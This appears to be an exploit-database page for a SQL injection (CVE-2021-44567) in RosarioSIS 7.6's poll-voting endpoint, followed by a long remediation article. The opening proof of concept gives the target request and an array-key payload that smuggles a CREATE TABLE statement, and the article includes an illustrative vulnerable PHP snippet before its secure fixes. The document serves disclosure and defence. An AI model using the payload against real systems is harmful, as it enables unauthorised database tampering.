RosarioSIS 7.6 - SQL Injection

Exploit Author: CodeSecLab Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2025-04-11
# Exploit Title: RosarioSIS 7.6 - SQL Injection
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://gitlab.com/francoisjacquet/rosariosis
# Software Link: https://gitlab.com/francoisjacquet/rosariosis
# Version: 7.6
# Tested on: Ubuntu Windows
# CVE : CVE-2021-44567

PoC:

POST /ProgramFunctions/PortalPollsNotes.fnc.php HTTP/1.1
X-Requested-With: XMLHttpRequest

constrain and some flow:
isset( $_POST['votes'] ) && is_array( $_POST['votes'] ) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' && foreach ( (array) $_POST['votes'] as $poll_id => $votes_array ) && if ( ! empty( $votes_array ) ) && PortalPollsVote( $poll_id, $votes_array ) 

votes['; CREATE TABLE aaa(t text) --]=1


RosarioSIS 7.6 — SQL Injection (CVE-2021-44567): Technical Analysis, Mitigation, and Secure Fixes

RosarioSIS 7.6 includes a SQL injection vulnerability that affects a portal polling/voting endpoint. This article explains the root cause, impact, detection methods, and practical, secure remediation patterns for PHP applications. It focuses on developer- and operations-level guidance to remove the vulnerability and harden deployments against similar issues.

Vulnerability summary

CVE Product Affected Version Type Impact
CVE-2021-44567 RosarioSIS 7.6 (specific endpoint) SQL Injection Remote injection of SQL via crafted input leading to data manipulation, schema modification, or data exfiltration

The vulnerability was introduced by unsafely handling user-supplied values inside an array parameter, which was later used in database queries without proper validation or parameterization.

Root cause (high level)

  • Application accepts an associative array from POST data (a mapping of poll IDs to votes).
  • The server-side code iterates over that array and constructs SQL statements using the array keys and values directly.
  • Lack of input validation and use of string concatenation or interpolation allowed an attacker to inject SQL tokens through the array index or values.

Vulnerable coding pattern (illustrative, do NOT use)

<?php
// Illustrative vulnerable pattern — do not use in production
if (isset($_POST['votes']) && is_array($_POST['votes'])) {
    foreach ((array) $_POST['votes'] as $poll_id => $votes_array) {
        if (!empty($votes_array)) {
            // Example of building a SQL string using $poll_id directly
            $sql = "INSERT INTO poll_votes (poll_id, votes) VALUES ($poll_id, '" . json_encode($votes_array) . "')";
            $db->query($sql); // Unsafe: $poll_id or votes_array may contain injection payloads
        }
    }
}
?>

Explanation: This example demonstrates the unsafe practice of embedding user-supplied values directly into SQL. An attacker who can control keys or values can manipulate the generated SQL. Even when array values appear structured (JSON, CSV), array keys can be used as an injection vector if not constrained.

Safe remediation strategy

Fixes fall into three complementary categories:

  • Input validation and whitelisting (ensure IDs are integers, values conform to expected types).
  • Use of parameterized queries / prepared statements for all database interactions.
  • Principle of least privilege for the application database account and defense-in-depth (WAF, logging).

Secure PHP example using PDO + validation

<?php
// Example: Secure handling of a votes POST payload using PDO and validation
if (!empty($_POST['votes']) && is_array($_POST['votes'])) {
    // Prepare a safe insert/update statement once
    $pdo = new PDO('mysql:host=localhost;dbname=rosariosis', 'app_user', 'secret', [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    ]);
    $stmt = $pdo->prepare(
        'INSERT INTO poll_votes (poll_id, user_id, votes_json) VALUES (:poll_id, :user_id, :votes_json)
         ON DUPLICATE KEY UPDATE votes_json = :votes_json_update'
    );

    $userId = (int) ($_SESSION['user_id'] ?? 0); // ensure user ID is valid and from session

    foreach ($_POST['votes'] as $rawPollId => $votesArray) {
        // 1) Validate the array key is an integer (whitelist)
        if (!is_numeric($rawPollId) || (string)(int)$rawPollId !== (string)$rawPollId) {
            // skip invalid poll ids (log if needed)
            continue;
        }
        $pollId = (int) $rawPollId;

        // 2) Validate votesArray is array and its contents meet expected constraints
        if (!is_array($votesArray) || empty($votesArray)) {
            continue;
        }

        // Optionally enforce a schema for votesArray (e.g., list of option IDs that must be ints)
        $sanitizedVotes = [];
        foreach ($votesArray as $opt) {
            if (!is_numeric($opt)) { continue; }
            $sanitizedVotes[] = (int)$opt;
        }
        if (empty($sanitizedVotes)) { continue; }

        $votesJson = json_encode($sanitizedVotes, JSON_THROW_ON_ERROR);

        // 3) Use parameterized query with bound values
        $stmt->execute([
            ':poll_id' => $pollId,
            ':user_id' => $userId,
            ':votes_json' => $votesJson,
            ':votes_json_update' => $votesJson
        ]);
    }
}
?>

Explanation: This code enforces strict validation of the poll identifier by casting and comparing strings to avoid malicious, non-numeric keys. It enforces a structure on votes, serializes safe data as JSON, and uses a prepared statement to avoid concatenating user input into SQL.

Alternative: mysqli prepared statement example

<?php
$mysqli = new mysqli('localhost', 'app_user', 'secret', 'rosariosis');
if ($mysqli->connect_errno) {
    // handle connection error
}
$stmt = $mysqli->prepare('INSERT INTO poll_votes (poll_id, user_id, votes_json) VALUES (?, ?, ?)
    ON DUPLICATE KEY UPDATE votes_json = ?');

foreach ((array)$_POST['votes'] as $rawPollId => $votesArray) {
    if (!ctype_digit((string)$rawPollId)) { continue; }
    $pollId = (int)$rawPollId;
    if (!is_array($votesArray)) { continue; }

    $sanitized = [];
    foreach ($votesArray as $v) {
        if (ctype_digit((string)$v)) { $sanitized[] = (int)$v; }
    }
    if (empty($sanitized)) { continue; }

    $json = json_encode($sanitized);
    $userId = (int)($_SESSION['user_id'] ?? 0);

    $stmt->bind_param('iiss', $pollId, $userId, $json, $json);
    $stmt->execute();
}
$stmt->close();
$mysqli->close();
?>

Explanation: This mysqli example demonstrates equivalent validation and the use of prepared statements with bound parameters, ensuring SQL is not constructed by concatenating untrusted data.

Operational mitigations (short-term)

  • Upgrade: Apply vendor patches or upgrade RosarioSIS to a fixed version as soon as available.
  • Restrict database privileges: Remove DDL rights (CREATE/ALTER/DROP) from the app DB user to limit schema manipulation if injection occurs.
  • Web Application Firewall (WAF): Deploy rules to block suspicious payload patterns and anomalous HTTP parameter names or unexpected array keys.
  • Input filtering at the web server or application layer: Reject requests where parameter names or keys contain non-alphanumeric characters if not expected.
  • Comprehensive logging: Log malformed payloads, unexpected parameter keys, and DB errors to enable rapid detection and forensics.

Detection and forensic guidance

  • Search database metadata for unexpected tables or objects created recently (look for nonstandard table names or unexpected schema changes).
  • Review application logs and web server access logs for unusual POST payloads targeting poll/vote endpoints and for admin/session anomalies.
  • Monitor database error logs for SQL syntax errors containing user-supplied tokens — these can indicate attempted injection attempts.
  • Use integrity checks: confirm expected schema and perform regular checksums of schema and seed data for unauthorized modifications.

Secure development checklist

  • Always use parameterized queries or ORM methods that auto-parameterize.
  • Validate keys — if receiving associative arrays from clients, ensure keys are of an allowed type (e.g., integers only).
  • Implement strict input validation, schema validation for complex inputs (JSON schema, manual checks).
  • Adopt a vulnerability scanning process (SAST/DAST) as part of CI/CD pipelines to catch injection patterns.
  • Limit privileges of application DB accounts; grant only required DML privileges, not DDL.

Testing and verification

After implementing fixes, validate by:

  • Unit tests that exercise the polling endpoint with valid and invalid inputs.
  • Automated security tests in CI that check for SQL injection patterns using safe test harnesses (do not run destructive tests against production).
  • Manual code review focusing on all places where request parameters are used in SQL construction.

Responsible disclosure and resources

If you operate a RosarioSIS installation, check the official repository and vendor advisories for available patches and follow upgrade guidance. When reporting new issues, follow responsible disclosure practices and coordinate with project maintainers.

References (examples): vendor project repository and the CVE entry for CVE-2021-44567. Always prefer the vendor-supplied patch over local mitigations when possible.